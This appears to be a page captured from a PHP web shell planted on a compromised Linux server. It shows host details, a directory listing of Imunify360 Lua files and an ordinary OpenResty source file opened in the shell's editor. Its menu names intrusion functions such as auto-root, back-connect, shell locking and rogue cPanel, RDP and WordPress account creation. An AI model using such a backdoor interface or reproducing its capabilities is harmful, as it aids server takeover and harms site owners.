Linux eyewebsolution.dnshostserver.in 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Apache
: 185.131.55.234 | : 216.73.216.138
676 Domain
5.6.40
omxrelocation
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
imunify360-webshield /
lualib /
resty /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
base.lua
5.4
KB
-rw-r--r--
base64.lua
3.06
KB
-rw-r--r--
coroutine.lua
769
B
-rw-r--r--
ctx.lua
3.71
KB
-rw-r--r--
exit.lua
1.41
KB
-rw-r--r--
hash.lua
3.92
KB
-rw-r--r--
misc.lua
5.7
KB
-rw-r--r--
ndk.lua
2.13
KB
-rw-r--r--
param.lua
2.35
KB
-rw-r--r--
phase.lua
1.48
KB
-rw-r--r--
regex.lua
34.61
KB
-rw-r--r--
request.lua
11.14
KB
-rw-r--r--
response.lua
6.21
KB
-rw-r--r--
shdict.lua
26.56
KB
-rw-r--r--
socket.lua
7.22
KB
-rw-r--r--
time.lua
4.64
KB
-rw-r--r--
uri.lua
3.03
KB
-rw-r--r--
utils.lua
972
B
-rw-r--r--
var.lua
3.82
KB
-rw-r--r--
worker.lua
3.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ndk.lua
-- Copyright (C) by OpenResty Inc. local ffi = require 'ffi' local base = require "resty.core.base" base.allows_subsystem('http') local C = ffi.C local ffi_cast = ffi.cast local ffi_new = ffi.new local ffi_str = ffi.string local FFI_OK = base.FFI_OK local new_tab = base.new_tab local get_string_buf = base.get_string_buf local get_request = base.get_request local setmetatable = setmetatable local type = type local tostring = tostring local error = error local _M = { version = base.version } ffi.cdef[[ typedef void * ndk_set_var_value_pt; int ngx_http_lua_ffi_ndk_lookup_directive(const unsigned char *var_data, size_t var_len, ndk_set_var_value_pt *func); int ngx_http_lua_ffi_ndk_set_var_get(ngx_http_request_t *r, ndk_set_var_value_pt func, const unsigned char *arg_data, size_t arg_len, ngx_http_lua_ffi_str_t *value); ]] local func_p = ffi_new("void*[1]") local ffi_str_size = ffi.sizeof("ngx_http_lua_ffi_str_t") local ffi_str_type = ffi.typeof("ngx_http_lua_ffi_str_t*") local function ndk_set_var_get(self, var) if type(var) ~= "string" then var = tostring(var) end if C.ngx_http_lua_ffi_ndk_lookup_directive(var, #var, func_p) ~= FFI_OK then error('ndk.set_var: directive "' .. var .. '" not found or does not use ndk_set_var_value', 2) end local func = func_p[0] return function (arg) local r = get_request() if not r then error("no request found") end if type(arg) ~= "string" then arg = tostring(arg) end local buf = get_string_buf(ffi_str_size) local value = ffi_cast(ffi_str_type, buf) local rc = C.ngx_http_lua_ffi_ndk_set_var_get(r, func, arg, #arg, value) if rc ~= FFI_OK then error("calling directive " .. var .. " failed with code " .. rc, 2) end return ffi_str(value.data, value.len) end end local function ndk_set_var_set() error("not allowed", 2) end if ndk then local mt = new_tab(0, 2) mt.__newindex = ndk_set_var_set mt.__index = ndk_set_var_get ndk.set_var = setmetatable(new_tab(0, 0), mt) end return _M
Close